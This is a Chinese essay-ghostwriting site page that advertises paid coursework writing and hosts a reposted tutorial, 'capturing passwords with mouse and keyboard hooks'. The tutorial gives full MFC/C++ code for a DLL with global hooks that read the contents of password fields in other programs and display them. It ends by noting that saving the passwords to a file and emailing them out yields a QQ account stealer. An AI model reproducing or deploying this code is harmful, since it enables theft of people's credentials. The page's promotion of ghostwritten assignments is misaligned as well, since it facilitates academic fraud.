• 20年专注海外留学生essay代写

  • 50000+留学生essay代写首选品牌

  • 正规教育机构教你怎么写essay范文

Essay写作网,专业正规的essay辅导代写机构,【专注essay代写辅导20年】,轻松搞定您的EssayReportPaperAssignment作业,并提供英国、美国、加拿大、澳大利亚等区域各类英文报告、实验报告、商业报告等定制写作服务,100%原创保障,免费Turnitin检测,为你的海外留学之路保驾护航!!

Who We Are

Enjoy your study life

Essay写作网是海外留学生作业代写【正规服务机构】,拥有500余名专业的英文写手,服务于全球数百所高校和70余专业领域,提供专业的留学生essay作业代写英文report代写英文assignment代写服务。专业高效、24小时一对一跟踪服务、12小时内解决所有售后问题、企业级客服QQ支持,免费turnitin检测服务,安全又省心。

Essay写作网正规留学生作业代写服务机构
ALICE加州大学地理系博士

ALICE

美国加州大学洛杉矶分校地理系博士 硕士

Helen英国剑桥大学会计硕士

Helen

英国剑桥大学会计硕士 利物浦大学经济学学士

Joseph剑桥大学荣誉学士

Joseph

剑桥大学荣誉学士&硕士 计算机科学导师

Yvette宾夕法尼亚州立大学博士

Yvette

宾夕法尼亚州立大学-机械工程-博士

>Mabel牛津大学金融数学硕士

Mabel

牛津大学金融数学硕士 从事课外辅导行业七年

Our Services

Essay辅导代写服务

Essay范文辅导代写

Essay辅导代写服务,5000+专业essay老师在线服务,提供包括essay代写、essay辅导、代写essay、essay写作等服务

report代写/报告代写

paper代写润色辅导

强大的paper写手团队,为10000名留学生提供paper代写、代写paper、paper润色修改服务,安全省心,让你的GPA飞速提升

英文report作业代写/翻译服务

report作业代写辅导

依托自身report代写团队,为留学生提供report作业代写、report范文格式学习、代写report报告作业等report辅导写作服务

Assignment代写修改校对

Assignment代写修改

英语Assignment代写修改润色,Assignment写作辅导,代写Assignment范文,免费Turnitin检测,原创定制,向挂科say byebye!!

Essay写作网致力于为您解决英文essay代写价格、 Report代写、Paper代写、Assignment代写、代写essay多少钱 、网课代修、 英国essay范文格式 等高效、高质量的作业辅导代写服务,稳步提升您的英文论文写作能力,避免挂科,提升毕业率,实现留学生GPA的飞跃提升!

Our Advantage

强大冠军写手团队

强大冠军写手团队

500+专业写作队伍、涉及70余专业学科,专业精准匹配,团队成员均为业内精英,针对性强,帮您轻松过关

100%专业匹配

100%专业匹配

100%专业高度匹配原则,您的委托都交给相关专业人士更有保障。我们宁缺毋滥,助您轻松得高分

1V1专席客服

1V1专席客服

1V1企业级专席客服支持,售后无忧。您可以实时沟通意见或建议,这一切轻松而省心,进度随时可查!

担保交易支持

担保交易支持

业内首家支持支付宝担保交易、天猫店铺在线下单,可以分期付款,您的委托任务完全没有后顾之忧

100%提升保障

100%提升保障

essay代写、 report代写、网课代修均支持100%Pass保障、不用花更多心思、即可助您稳步提升GPA获得好成绩

免费售后支持

免费售后支持

长达14天的免费售后支持,完美售后,轻松解决留学生在essay写作、report写作、paper写作中的各类问题

免费Turnitin检测

免费Turnitin检测

快速高质量的代写润色,100%原创写作,免费为每位客户提供Turnitin的OriginalityCheck®检测报告

100%准时完成

100%准时完成

专业流程化服务,下单即安排专业对口写手对接沟通,原创定制,确保100%准时完成,无拖延超时赔付

Get in Touch

微信在线咨询

微信在线咨询

添加微信:pjcourse222
支持语音、图文实时沟通

Email实时沟通

Email实时沟通

您也可以通过Email联系我们
邮箱:[email protected]

自助提交订单

自助提交订单

登陆ESSAY写作官网
在线自助提交订单

Essay写作网专注ESAAY代写辅导20年,提供留学生一对一Tuto辅导,海外留学就业一站式服务平台!专业essay代写辅导【正规网站】,【全球留学生论文代写推荐品牌】,【上万留学生共同信任的权威教育机构】

当前位置: essay代写网 > 理工论文范文 >

时间:2020-11-08 19:51 来源: 代写essay

摘要:利用鼠标键盘钩子截获密码 钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的 钩子分类 : 1、WH_CALLWNDPROC和WH_CALLWNDPRO......

利用鼠标键盘钩子截获密码

钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的

钩子分类 :
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以监视发送到窗口过程的消息
3、WH_DEBUG    调试钩子
4、WH_FOREGROUNDIDLE   当当应用程序的前台线程大概要变成空闲状态时,系统就会调用      WH_FOREGROUNDIDL
5、WH_JOURNALRECORD   监视和记录输入事件
6、WH_JOURNALPLAYBACK   回放用WH_JOURNALRECORD记录事件
7、WH_KEYBOARD    键盘钩子
9、WH_KEYBOARD_LL   低层键盘钩子
10、WH_MOUSE    鼠标钩子
11、WH_MOUSE_LL    底层鼠标钩子
12、WH_SHELL    外壳钩子
13、WH_MSGFILTER 和 WH_SYSMSGFILTER  使我们可以监视菜单,滚动条,消息框等

安装钩子:
  调用函数SetWindowsHookEx安装钩子。其函数原型为: 
 HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId ) 
 idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。 
 Lpfn是钩子函数的地址。 
 HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中)
    dwThreadId 指定钩子所监视的线程的`线程号。对于全局钩子,该参数为NULL。 
   SetWindowsHookEx返回所安装的钩子句柄。

卸载钩子 
   调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子

定义钩子函数 
  钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:
 LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam) 
 参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。

实例:
 下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。

1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。
2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:
class AFX_EXT_CLASS CGetPassHook : public CObject  
{
public:
 BOOL StopHook();
 BOOL StartHook(HWND hwnd);
 
 CGetPassHook();
 virtual ~CGetPassHook();

};
3:加入全局共享数据,如下:
#pragma data_seg("ShareData")
HHOOK hKeyBoardHook=NULL;  file://keyboar hook
HHOOK hMouseHook=NULL;   file://mouse hook
HINSTANCE glhInstance=NULL;  file://globle instance
HWND hOutPutWnd=NULL;   file://Display Pass Wnd
#pragma data_seg()

4:加入鼠标,键盘钩子处理函数,如下:
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)
{  file://鼠标钩子得理函数
 LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
 if(nCode>=0)
 {
  HWND hTargetHwnd=lpMouse->hwnd;  file://得到鼠标所在窗口句柄 
  if(hTargetHwnd)
  {
   LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); file://得到它的样式
   if(style&ES_PASSWORD)  file://如果是密码框
   {
    char szPass[255];
    ::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
      file://得到密码
    ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);
      file://显示密码
   }
  }
 }
 
 return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
  file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
  file://可以起到截儿消息的目的,我们这里调用之。
}

LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{  file://keyboard hook proc

if(nCode>=0)
 {
  HWND hTargetHwnd=GetActiveWindow();  file://get active window
  if(hTargetHwnd)
   EnumChildWindows(hTargetHwnd,EnumWndProc,0); file://枚举所有窗口
 }

return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
  file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
  file://可以起到截儿消息的目的,我们这里调用之。
}

这里要介绍下EnumChildWindows函数,原形如下:
 BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);
 hWndParent:为枚举窗口的句柄
 lpEnumFunc:枚举函数的地址,
 lParam:这里为0

5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{  file://enum the child window,find passedit
 if(hwnd)
 {
  LONG style=::GetWindowLong(hwnd,GWL_STYLE); file://得到STYLE
  if(style&ES_PASSWORD)   file://是密码框
  {
   char szPass[255];
   ::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file://得到PASS
   ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file://显示
   return TRUE;
  }
 }

return TRUE;
}

6:在DEF文件中定义段属性: (这步很重要)
  SECTIONS 
  mydata READ WRITE SHARED

7:完成StartHook,StopHook函数,启动/关闭钩子,如下:
BOOL CGetPassHook::StartHook(HWND hwnd)
{   file://install hoook
 hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);
   file://mouse hook
 hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
   file://keyboard hook
 if(hMouseHook&&hKeyBoardHook)
 {
  hOutPutWnd=hwnd; file://显示密码的句柄
  return TRUE;
 }
 return FALSE;
}

BOOL CGetPassHook::StopHook()
{   file://unstall hook
 BOOL mHook=UnhookWindowsHookEx(hMouseHook);
 BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
 if(mHook&&kHook)
  return TRUE;
 return FALSE;
}

8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:
extern HINSTANCE glhInstance; file://记得这里
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
 UNREFERENCED_PARAMETER(lpReserved);
 if (dwReason == DLL_PROCESS_ATTACH)
 {
  TRACE0("GETPASS.DLL Initializing!n");
  
  if (!AfxInitExtensionModule(GetPassDLL, hInstance))
   return 0;
  new CDynLinkLibrary(GetPassDLL);
  glhInstance=hInstance; file://得到句柄
 }
 else if (dwReason == DLL_PROCESS_DETACH)
 {
  TRACE0("GETPASS.DLL Terminating!n");
  AfxTermExtensionModule(GetPassDLL);
 }
 return 1;   // ok
}

9:编译,完成DLL部分,

下面建立APP部分。如下:

1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。

2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->Add to Project-->Files
选择这两个文件。

2:在主对话框中,加入一个EDIT,ID 为IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:

#include "GetPassHook.h"
class CGetPassWordDlg : public CDialog
{
protected:
 CGetPassHook m_hook;
。。。
 DECLARE_MESSAGE_MAP()
};

4:在实现文件中:OnInitDialog()中起动HOOK

BOOL CGetPassWordDlg::OnInitDialog()
{
 CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
 m_hook.StartHook(pWnd->GetSafeHwnd()); file://install hook

return TRUE;  // return TRUE  unless you set the focus to a control
}

5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下:
void CGetPassWordDlg::OnDestroy() 
{
 CDialog::OnDestroy();
 m_hook.StopHook(); file://stop hook
}

6:将GetPass.dll拷贝到。EXE一个目录下,

7:编译,运行.
 这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个HOOK。启动QQ,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件,并加入发送邮件攻能,一个QQ盗号器就做成了。

[加拿大专业essay代写]利用鼠标键盘钩子截获密码http://www.0592w.com/ligong/1832.html

essay辅导替代essay代写-正规代写机构教你怎么写essays范文-Essay写作格式网官方推荐

99.99%的用户同时也查看了:

[多伦多大学经济系essay]多...... 2021-04-02

多数据库系统互联机制的设计与实现华中理工大学计算机学院吴永英李逸李东摘要:随着企业规模的不断扩大,各部......

[随笔essay怎么写]基于GP算...... 2021-04-02

基于GP算法的知识发现系统南京建筑工程学院计算中心李亚非摘要本文提出了一个新的知识发现系统。该系统以遗传编......

[新Sat 的essay范文]浅谈旅游...... 2021-04-02

计算机应用基础课程的教学更多是以项目教学法开展教学,整个项目为一个整体,在精选项目→讲解项目→项目实施......

[essay一天写三千可能么]中...... 2021-04-02

时代在发展,社会在进步,我们已经进入信息化社会。掌握获取信息的能力已经成为一个人应基本具备的素质,而信......

[如何写好的essay]棉业调研...... 2021-04-02

棉花烂铃病是一种多病原引起的复合性病害,既造成棉花减产,又使纤维品质变劣,严重影响棉花高产优质。北方棉......

[fear essay]学员毕业论文:...... 2021-04-02

本人从汽车发动机怠速故进行原因分析。阐述怠速故障的诊断与维修方法。怠速故障是发动机常见故障之一,按照出......

[国外留学如何写essay]别把...... 2021-04-02

别把垃圾浪费掉 你知道吗?我国每年都有价值250亿元的资源被白白浪费了!这些资源既不是石油也不是天然气,更不是高科技产品,而是我们每个家庭每天都在产生的生活垃圾。由于我们没......

[维克森林大学写几篇ess...... 2021-04-02

一、选好课题撰写科技小论文,首先要考虑写什么,也就是课题的选择。选择课题是写好论文的关键。要注意以下原......

[国外的essay 怎么写]中学生...... 2021-04-02

“克隆”这个、词对大家来说想必已经耳熟能详了吧,克隆是英文Clone一词的单译,意为无性繁殖系,即通过无性繁殖......

[1200词essay模版]小学生科技...... 2021-04-02

小学中年级的小学生写的科技小论文人或动物的生存与植物的关系不久前,我们家搬入了现在的新房子。刚搬完家,......

[议论文essay怎么写]对农村...... 2021-04-02

由于农机生产厂家太多,有的规范,有的不规范,还有的是个人加工的,产品在样式、质量上不统一,维修保养也不......

[英文essay查重]浅谈4YW-1型...... 2021-04-02

随着社会经济的发展和科学技术水平的不断提高,农产品收割已由简装的人力收割工具,经历了畜力收割到如今的动......

[美本申请essay有题目吗]单...... 2021-04-02

我们制作的产品就具备了以上的功能,主要运用了时钟芯片DS1302和语音芯片ISD1420,实现系统具有标准显示日历、时钟......

[美国大学介绍自己essay]论...... 2021-04-01

论虚拟存储技术及其在视频网络中的应用中国西部地区电视技术协会2003年年会电视技术论文评比二等奖一、存储需求......

[英国essay和report]视音频素...... 2021-04-01

视音频素材的编码转换2004年度河南省广播电视优秀科技论文一等奖摘要:本文提出了作者在实践中总结出的各种视音......

[cma英文版essay题]浅谈AC-...... 2021-04-01

浅谈AC-3与MPEG-2两种多通道数字音频的选择与比较2004年度河南省广播电视优秀科技论文二等奖摘要:在全世界范围内,......

[国外essay多少钱]图书馆管...... 2021-04-01

摘要图书管理系统是典型的信息管理系统(MIS),其开发主要包括后台数据库的建立和维护以及前端应用程序的开发两个......

[英国essay代写]网络管理技...... 2021-04-01

网络管理技术及电信管理网的开发李增智蔡伟唐亚哲摘要:网络管理已经成为计算机网络和电信网研究中最重要的内......

[essay美国代写多少钱]网络...... 2021-04-01

网络化:出版信息管理的必由之路【作者】何皓【作者简介】何皓作者单位:武汉大学出版社【正文】一、出版信息......

[怎么写分析论文的essay]发...... 2021-04-01

发挥网络优势是邮政的希望邮政网点遍布全世界,各国邮政部门只有加强合作才能在市场激烈的竞争环境中处于有利......

[essay英语润色]交互电视技...... 2021-04-01

交互电视技术交互电视是数字电视的一种应用。现时的普通电视不但向着高清晰度电视方向发展,同时将发展成可提......

[英语essay代写]视频格式之...... 2021-04-01

视频格式之间的相互转换从20世纪初发明的黑白电视到50时年代出现的彩色电视,以及从模拟时代跨入到数字时代,从......

[早稻田大学国教essay]7与媒...... 2021-04-01

MPEG-7与媒体资产检索1、引言随着电视技术与IT技术的不断融合,以及IT技术日新月异的发展,实现视音频信息的数字化......

[哪里查sat essay分数]数字视...... 2021-04-01

数字视频网络《西部广播电视》2000年第10期发表近几年,随着计算机专业多媒体技术的迅速发展,非线性编辑系统应......

[wind up essay]都市频道制作...... 2021-04-01

都市频道制作网的设计与实现2004年度河南省广播电视优秀科技论文二等奖2000年河南电视台都市频道建立起了第一套非......

[金融专业申请essay范文]都...... 2021-04-01

都市频道新闻制作网扩容及增强系统安全性方案2002中国西部地区电视技术年会优秀论文二等奖河南电视台都市频道现......